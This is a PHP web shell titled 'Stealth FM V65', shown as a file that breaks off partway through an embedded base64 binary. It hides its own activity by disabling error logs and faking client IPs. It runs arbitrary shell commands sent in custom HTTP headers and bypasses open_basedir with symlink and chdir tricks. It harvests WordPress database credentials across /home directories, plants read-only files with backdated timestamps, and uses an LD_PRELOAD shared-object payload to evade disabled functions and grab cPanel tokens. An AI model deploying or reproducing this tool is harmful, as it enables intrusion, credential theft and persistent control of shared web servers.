1<?php
2// -------------------------------------------------------------------------
3// STEALTH FM V65 (ULTIMATE: JAILBREAK + ANTI-LOOP + HYBRID BYPASS)
4// FEATURES: OPEN_BASEDIR BYPASS, ENV UNSET, TMPFS OUTPUT, AUTO REFRESH
5// -------------------------------------------------------------------------
6
7// 1. STEALTH MODE
8error_reporting(0);
9@ini_set('display_errors', 0);
10@ini_set('log_errors', 0);
11@ini_set('error_log', NULL);
12@set_time_limit(0);
13@ini_set('memory_limit', '512M');
14
15// 2. IP CLOAKING
16function cloak_headers() {
17 $fake_ip = "127.0.0.1";
18 $headers = ['HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR'];
19 foreach ($headers as $key) {
20 if (isset($_SERVER[$key])) $_SERVER[$key] = $fake_ip;
21 putenv("$key=$fake_ip");
22 }
23 header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
24 header("Pragma: no-cache");
25 header("Expires: Wed, 11 Jan 1984 05:00:00 GMT");
26}
27cloak_headers();
28
29if (isset($_GET['do_phpinfo'])) { phpinfo(); exit; }
30
31$h_act = 'HTTP_X_ACTION';
32$h_path = 'HTTP_X_PATH';
33$h_data = 'HTTP_X_DATA';
34$h_cmd = 'HTTP_X_CMD';
35$h_tool = 'HTTP_X_TOOL';
36$h_step = 'HTTP_X_STEP';
37$h_enc = 'HTTP_X_ENCODE';
38$h_mmode = 'HTTP_X_MASS_MODE';
39
40$root = realpath(__DIR__);
41
42function get_sys_info() {
43 $u_id = function_exists('posix_getpwuid') ? posix_getpwuid(getmyuid()) : ['name' => get_current_user(), 'gid' => getmygid()];
44 $curl_v = function_exists('curl_version') ? curl_version()['version'] : 'N/A';
45 $safe_mode = (ini_get('safe_mode') == 1 || strtolower(ini_get('safe_mode')) == 'on') ? "<span style='color:#f28b82'>ON</span>" : "<span style='color:#81c995'>Off</span>";
46 return [
47 'os' => php_uname(),
48 'user' => getmyuid() . ' (' . $u_id['name'] . ')',
49 'safe' => $safe_mode,
50 'ip' => $_SERVER['SERVER_ADDR'] ?? gethostbyname($_SERVER['SERVER_NAME']),
51 'soft' => $_SERVER['SERVER_SOFTWARE'],
52 'php' => phpversion(),
53 'curl' => $curl_v,
54 'time' => date('Y-m-d H:i:s')
55 ];
56}
57$sys = get_sys_info();
58
59// --- ULTIMATE JAILBREAK: MULTI-BINARY & PERSISTENT FALLBACK ---
60function x_jailbreak($file) {
61 // LAYER 1: Command Execution dengan Multi-Binary Fallback
62 // Mencoba berbagai metode eksekusi dan berbagai perintah baca
63 $methods = ['shell_exec', 'exec', 'passthru', 'system', 'popen', 'proc_open'];
64
65 // Daftar perintah alternatif pengganti 'cat' jika diblokir
66 $binaries = [
67 'cat', // Standar
68 'head -n 10000', // Baca bagian depan
69 'tail -n 10000', // Baca bagian belakang
70 'more', // Alternatif baca
71 'less', // Alternatif baca
72 'awk "{print}"', // Trik AWK
73 'sed -n "p"', // Trik SED
74 'tac', // Baca terbalik
75 'nl', // Baca dengan nomor baris
76 'dd status=none' // Binary level read
77 ];
78
79 $disabled_raw = ini_get('disable_functions');
80 $disabled = ($disabled_raw) ? array_map('trim', explode(',', $disabled_raw)) : [];
81
82 foreach ($methods as $method) {
83 // Cek apakah fungsi PHP aktif dan tidak didisable
84 if (function_exists($method) && !in_array($method, $disabled)) {
85
86 // Loop setiap perintah binary (cat, head, tail, dll)
87 foreach ($binaries as $bin) {
88 $cmd = $bin . " " . escapeshellarg($file);
89 $out = "";
90
91 if ($method === 'shell_exec') {
92 $out = @shell_exec($cmd);
93 } elseif ($method === 'exec') {
94 $o = []; @exec($cmd, $o); $out = implode("\n", $o);
95 } elseif ($method === 'passthru') {
96 ob_start(); @passthru($cmd); $out = ob_get_clean();
97 } elseif ($method === 'system') {
98 ob_start(); @system($cmd); $out = ob_get_clean();
99 } elseif ($method === 'popen') {
100 $fp = @popen($cmd, 'r');
101 if ($fp) { while(!feof($fp)) $out .= fread($fp, 1024); pclose($fp); }
102 } elseif ($method === 'proc_open') {
103 $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
104 $p = @proc_open($cmd, $desc, $pipes);
105 if (is_resource($p)) {
106 $out = stream_get_contents($pipes[1]);
107 fclose($pipes[1]); fclose($pipes[2]); proc_close($p);
108 }
109 }
110
111 // Jika berhasil, langsung return hasilnya
112 if (!empty($out)) return $out;
113 }
114 }
115 }
116
117 // LAYER 2: Symlink Trick (PHP Native)
118 // Tetap dijalankan jika Layer 1 gagal/kosong (Persistent)
119 if (function_exists('symlink') && is_writable(getcwd())) {
120 $link = 'sfm_lnk_' . rand(1000,9999);
121 @symlink($file, $link);
122 if (file_exists($link)) {
123 $content = @file_get_contents($link);
124 @unlink($link);
125 if ($content) return $content;
126 }
127 }
128
129 // LAYER 3: The Heavy Loop (Last Resort)
130 // Jalan terakhir jika semua cara di atas gagal
131 if (function_exists('ini_set') && function_exists('chdir') && function_exists('mkdir')) {
132 $old_cwd = getcwd();
133 $jb_dir = "sfm_jb_" . rand(1000,9999);
134 if (@mkdir($jb_dir)) {
135 @chdir($jb_dir);
136 @ini_set('open_basedir', '..');
137 for ($i = 0; $i < 15; $i++) { @chdir('..'); @ini_set('open_basedir', '..'); }
138 @chdir('/'); @ini_set('open_basedir', '/');
139 $content = @file_get_contents($file);
140 @chdir($old_cwd); @rmdir($jb_dir);
141 if ($content) return $content;
142 }
143 }
144
145 return false;
146}
147
148// --- UPDATED READER (Prioritas Jailbreak) ---
149function x_read($path) {
150 // 1. PRIORITAS UTAMA: Jailbreak (Ultimate Hybrid)
151 // Mencoba teknik hacking (Command/Symlink/Loop) terlebih dahulu.
152 $jb = x_jailbreak($path);
153 if (!empty($jb)) return $jb;
154
155 // 2. FALLBACK: Standard Read
156 // Hanya jika semua metode jailbreak (termasuk loop berat) gagal total.
157 if (is_readable($path)) return @file_get_contents($path);
158
159 return false;
160}
161
162// --- STANDARD WRITE (LIGHTWEIGHT FOR AUTO CHAIN) ---
163function x_write($path, $data) {
164 if (@file_put_contents($path, $data)) return true;
165 if (function_exists('fopen')) {
166 $h = @fopen($path, "w");
167 if ($h) { fwrite($h, $data); fclose($h); return true; }
168 }
169 return false;
170}
171// --- ROBUST WRITE (Anti 0KB + Anti Revert + Force 0444) ---
172function x_robust_write($path, $data, $lock_mode = false) {
173 if (file_exists($path)) { @chmod($path, 0644); }
174
175 $fp = @fopen($path, 'c+');
176 if ($fp) {
177 if (@flock($fp, LOCK_EX)) {
178 @ftruncate($fp, 0);
179 @fwrite($fp, $data);
180 @fflush($fp);
181 @flock($fp, LOCK_UN);
182 } else {
183 @file_put_contents($path, $data);
184 }
185 @fclose($fp);
186 } else {
187 if(file_exists($path)) @unlink($path);
188 @file_put_contents($path, $data);
189 }
190
191 clearstatcache();
192 if (filesize($path) == 0 && strlen($data) > 0) {
193 @unlink($path);
194 @file_put_contents($path, $data);
195 }
196
197 @touch($path, time() - 34560000);
198 if ($lock_mode) { @chmod($path, 0444); }
199
200 return file_exists($path);
201}
202
203function x_link($target, $link) {
204 if (function_exists('symlink') && @symlink($target, $link)) return true;
205 if (function_exists('link') && @link($target, $link)) return true;
206
207
208 $cmd = "ln -s " . escapeshellarg($target) . " " . escapeshellarg($link);
209
210 if (function_exists('shell_exec')) { @shell_exec($cmd); }
211 elseif (function_exists('exec')) { @exec($cmd); }
212 elseif (function_exists('system')) { ob_start(); @system($cmd); ob_end_clean(); }
213 elseif (function_exists('passthru')) { ob_start(); @passthru($cmd); ob_end_clean(); }
214 elseif (function_exists('proc_open')) {
215 $desc = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]];
216 $p = @proc_open($cmd, $desc, $pipes);
217 if (is_resource($p)) {
218 @fclose($pipes[0]); @fclose($pipes[1]); @fclose($pipes[2]);
219 @proc_close($p);
220 }
221 }
222 elseif (function_exists('popen')) { $h = @popen($cmd, 'r'); if($h) @pclose($h); }
223
224
225 return file_exists($link);
226}
227function get_home_dirs() {
228 $d = ['/home']; for ($i = 1; $i <= 9; $i++) $d[] = '/home' . $i; return $d;
229}
230function force_delete($target) {
231 if (is_file($target)) return unlink($target);
232 if (is_dir($target)) {
233 $files = array_diff(scandir($target), array('.','..'));
234 foreach ($files as $file) force_delete("$target/$file");
235 $try = rmdir($target); if ($try) return true;
236 if (function_exists('shell_exec')) { @shell_exec("rm -rf " . escapeshellarg($target)); return !file_exists($target); }
237 return false;
238 }
239}
240function json_out($data) { header('Content-Type: application/json'); echo json_encode($data); exit; }
241function human_filesize($bytes, $dec = 2) {
242 $size = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
243 $factor = floor((strlen($bytes) - 1) / 3);
244 return sprintf("%.{$dec}f", $bytes / pow(1024, $factor)) . @$size[$factor];
245}
246
247// --- SMART SCANNER ---
248function scan_smart_stream($dir, &$results) {
249 $dir = rtrim($dir, '/') . '/';
250 if (file_exists($dir . 'wp-config.php')) $results[] = $dir . 'wp-config.php';
251
252 if ($dh = @opendir($dir)) {
253 while (($file = readdir($dh)) !== false) {
254 if ($file === '.' || $file === '..') continue;
255 $full_path = $dir . $file;
256 if (is_dir($full_path) && !is_link($full_path)) {
257 $target_public = $full_path . '/public_html/wp-config.php';
258 $target_root = $full_path . '/wp-config.php';
259 if (file_exists($target_public)) $results[] = $target_public;
260 elseif (file_exists($target_root)) $results[] = $target_root;
261 }
262 }
263 closedir($dh);
264 }
265}
266function get_conf_val_smart($content, $key) {
267 if (preg_match("/define\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $content, $m)) return $m[1];
268 return null;
269}
270
271// --- STANDARD DIRECTORY SCAN ---
272function scan_smart_targets($base_dir) {
273 $targets = [];
274 $items = @scandir($base_dir);
275 if ($items) {
276 foreach ($items as $item) {
277 if ($item == '.' || $item == '..') continue;
278 $path = $base_dir . '/' . $item;
279 if (is_dir($path)) {
280 if (is_writable($path)) $targets[] = $path;
281 $pub = $path . '/public_html';
282 if (is_dir($pub) && is_writable($pub)) {
283 $targets[] = $pub;
284 }
285 }
286 }
287 }
288 return $targets;
289}
290
291if (isset($_SERVER[$h_act])) {
292 $action = $_SERVER[$h_act];
293 $raw_path = isset($_SERVER[$h_path]) ? base64_decode($_SERVER[$h_path]) : '';
294
295 if ($raw_path === '__HOME__') { $target = getcwd(); }
296 elseif ($raw_path === '') { $target = getcwd(); }
297 else { $target = $raw_path; }
298
299 $target = str_replace('\\', '/', $target);
300 if(strlen($target) > 1) $target = rtrim($target, '/');
301
302 if(is_dir($target)) @chdir($target); elseif(is_file($target)) @chdir(dirname($target));
303
304 if ($action === 'list') {
305 if (!is_dir($target)) { $target = getcwd(); }
306 $items = @scandir($target);
307 if ($items === false) { json_out(['path' => $target, 'items' => [], 'error' => 'Unreadable']); }
308
309 $dirs = []; $files = [];
310 foreach ($items as $i) {
311 if ($i == '.' || $i == '..') continue;
312 $path = $target . '/' . $i;
313 $isDir = is_dir($path);
314 $item = [
315 'name'=>$i,
316 'type'=>$isDir?'dir':'file',
317 'size'=>$isDir?'-':human_filesize(@filesize($path)),
318 'perm'=>substr(sprintf('%o', @fileperms($path)),-4),
319 'write'=>is_writable($path),
320 'date'=>date("Y-m-d H:i", @filemtime($path))
321 ];
322 if ($isDir) $dirs[] = $item; else $files[] = $item;
323 }
324 usort($dirs, function($a, $b) { return strcasecmp($a['name'], $b['name']); });
325 usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); });
326 json_out(['path' => $target, 'items' => array_merge($dirs, $files)]);
327 }
328
329 // --- UPDATED READ ACTION (WITH JAILBREAK FALLBACK) ---
330 if ($action === 'read') {
331 if (is_file($target)) {
332 $c = x_read($target);
333 echo $c ? $c : "Err: Unreadable (Try Jailbreak/Shell)";
334 } else {
335 // Try jailbreak even if it doesn't look like a file (open_basedir hiding)
336 $c = x_read($target);
337 echo $c ? $c : "Err: Not a file / Access Denied";
338 }
339 exit;
340 }
341
342 if ($action === 'save' || $action === 'upload') {
343 $input = file_get_contents("php://input");
344 if (isset($_SERVER[$h_enc]) && $_SERVER[$h_enc] === 'b64') {
345 $input = base64_decode($input);
346 }
347 echo (x_robust_write($target, $input, true) !== false) ? "Success" : "Err: Write failed";
348 exit;
349 }
350
351 if ($action === 'delete') { echo force_delete($target) ? "Deleted" : "Fail delete"; exit; }
352 if ($action === 'rename') { $n = isset($_SERVER[$h_data]) ? base64_decode($_SERVER[$h_data]) : ''; if ($n) echo rename($target, dirname($target).'/'.$n) ? "Renamed" : "Fail"; exit; }
353 if ($action === 'chmod') { $m = isset($_SERVER[$h_data]) ? $_SERVER[$h_data] : ''; if ($m) echo chmod($target, octdec($m)) ? "Chmod OK" : "Fail"; exit; }
354
355 // --- BYPASS CMD (V65: HYBRID /TMP STRATEGY + ANTI-LOOP) ---
356 if ($action === 'cmd') {
357 $cmd_raw = isset($_SERVER[$h_cmd]) ? base64_decode($_SERVER[$h_cmd]) : 'whoami';
358
359 // Deteksi UAPI untuk strategi output ke TMP
360 $is_uapi_token = (stripos($cmd_raw, 'uapi') !== false && stripos($cmd_raw, 'Tokens') !== false);
361
362 // Fix Path
363 $cmd = "export PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin; " . $cmd_raw;
364 $cmd_exec = $cmd . " 2>&1";
365 $out = "";
366
367 // Helper Run
368 $try_run = function($method, $c) {
369 if (!function_exists($method)) return false;
370 $o = "";
371 if ($method == 'shell_exec') $o = @shell_exec($c);
372 elseif ($method == 'passthru') { ob_start(); @passthru($c); $o = ob_get_clean(); }
373 elseif ($method == 'system') { ob_start(); @system($c); $o = ob_get_clean(); }
374 elseif ($method == 'exec') { @exec($c, $arr); $o = implode("\n", $arr); }
375 elseif ($method == 'popen') { $h = @popen($c, 'r'); if($h) { while(!feof($h)) $o .= fread($h, 1024); pclose($h); } }
376 elseif ($method == 'proc_open') {
377 $d = [0=>["pipe","r"],1=>["pipe","w"],2=>["pipe","w"]];
378 $p = @proc_open($c, $d, $pipes);
379 if (is_resource($p)) {
380 $o = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
381 fclose($pipes[1]); fclose($pipes[2]); proc_close($p);
382 }
383 }
384 return $o;
385 };
386
387 // 1. STANDARD ATTEMPT (Lewati jika UAPI agar langsung ke metode kuat)
388 if (!$is_uapi_token) {
389 $methods = ['shell_exec', 'passthru', 'proc_open', 'system'];
390 foreach ($methods as $m) {
391 if ($d = ini_get('disable_functions')) { if (stripos($d, $m) !== false) continue; }
392 $res = $try_run($m, $cmd_exec);
393 // Jika error memory/fork, anggap gagal dan lanjut ke Chankro
394 if (stripos($res, 'Cannot allocate') !== false || stripos($res, 'fork') !== false) continue;
395 if (!empty($res)) { $out = $res; break; }
396 }
397 }
398
399 // 2. CHANKRO FALLBACK (ANTI-LOOP VIA ENV -U)
400 if (empty($out) || $is_uapi_token) {
401
402 $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAAAAAAAAAAAAABAAAAAAAAALsAAAAAAAAADAAAAAAAAAAYBwAAAAAAAA0AAAAAAAAAXAkAAAAAAAAZAAAAAAAAAPgNIAAAAAAAGwAAAAAAAAAQAAAAAAAAABoAAAAAAAAACA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAAAMAQAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAADpAAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAAAAAgAAAAAAAADYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAAEAGAAAAAAAABwAAAAAAAABoBQAAAAAAAAgAAAAAAAAA2AAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABIBQAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAABoFAAAAAAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgOIAAAAAAAAAAAAAAAAAAAAAAAAAAAAEYHAAAAAAAAVgcAAAAAAABmBwAAAAAAAHYHAAAAAAAAhgcAAAAAAACWBwAAAAAAAKYHAAAAAAAAtgcAAAAAAADGBwAAAAAAAGAQIAAAAAAR0NDOiAoRGViaWhuIDYuMy4wLTE4K2RlYjllMSkgNi4zLjAgMjAxNzA1MTYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAQDIAQAAAAAAAAAAAAAAAAAAAAAAAAMAAgDwAQAAAAAAAAAAAAAAAAAAAAAAAAMAAwA4AgAAAAAAAAAAAAAAAAAAAAAAAAMABAAwBAAAAAAAAAAAAAAAAAAAAAAAAAMABQAaBQAAAAAAAAAAAAAAAAAAAAAAAAMABgBIBQAAAAAAAAAAAAAAAAAAAAAAAAMABwBoBQAAAAAAAAAAAAAAAAAAAAAAAAMACABABgAAAAAAAAAAAAAAAAAAAAAAAAMACQAYBwAAAAAAAAAAAAAAAAAAAAAAAAMACgAwBwAAAAAAAAAAAAAAAAAAAAAAAAMACwDQBwAAAAAAAAAAAAAAAAAAAAAAAAMADADgBwAAAAAAAAAAAAAAAAAAAAAAAAMADQBcCQAAAAAAAAAAAAAAAAAAAAAAAAMADgBlCQAAAAAAAAAAAAAAAAAAAAAAAAMADwB4CQAAAAAAAAAAAAAAAAAAAAAAAAMAEACwCQAAAAAAAAAAAAAAAAAAAAAAAAMAEQD4DSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAIDiAAAAAAAAAAAAAAAAAAAAAAAAMAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAMAFAAYDiAAAAAAAAAAAAAAAAAAAAAAAAMAFQDYDyAAAAAAAAAAAAAAAAAAAAAAAAMAFgAAECAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgECAAAAAAAAAAAAAAAAAAAAAAAAMAGABoECAAAAAAAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAGQAAAAIADADgBwAAAAAAAAAAAAAAAAAAGwAAAAIADAAgCAAAAAAAAAAAAAAAAAAALgAAAAIADABwCAAAAAAAAAAAAAAAAAAARAAAAAEAGABoECAAAAAAAAEAAAAAAAAAUwAAAAEAEgAIDiAAAAAAAAAAAAAAAAAAegAAAAIADACwCAAAAAAAAAAAAAAAAAAAhgAAAAEAEQD4DSAAAAAAAAAAAAAAAAAApQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAArAAAAAEAEABoCgAAAAAAAAAAAAAAAAAAugAAAAEAEwAQDiAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAxgAAAAEAFwBgECAAAAAAAAAAAAAAAAAA0wAAAAEAFAAYDiAAAAAAAAAAAAAAAAAA3AAAAAAADwB4CQAAAAAAAAAAAAAAAAAA7wAAAAEAFwBoECAAAAAAAAAAAAAAAAAA+wAAAAEAFgAAECAAAAAAAAAAAAAAAAAAEQEAABIAAAAAAAAAAAAAAAAAAAAAAAAAJQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAQQEAABAAFwBoECAAAAAAAAAAAAAAAAAASAEAABIADAAUCQAAAAAAACkAAAAAAAAAUgEAABIADQBcCQAAAAAAAAAAAAAAAAAAWAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAbAEAABIADADgCAAAAAAAADQAAAAAAAAAcAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAhAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAkwEAABIADAA9CQAAAAAAAB0AAAAAAAAAnQEAABAAGABwECAAAAAAAAAAAAAAAAAAogEAABAAGABoECAAAAAAAAAAAAAAAAAArgEAABIAAAAAAAAAAAAAAAAAAAAAAAAAwQEAACAAAAAAAAAAAAAAAAAAAAAAAAAA1QEAABIAAAAAAAAAAAAAAAAAAAAAAAAA6wEAABIAAAAAAAAAAAAAAAAAAAAAAAAA/QEAACAAAAAAAAAAAAAAAAAAAAAAAAAAFwIAACIAAAAAAAAAAAAAAAAAAAAAAAAAMwIAABIACQAYBwAAA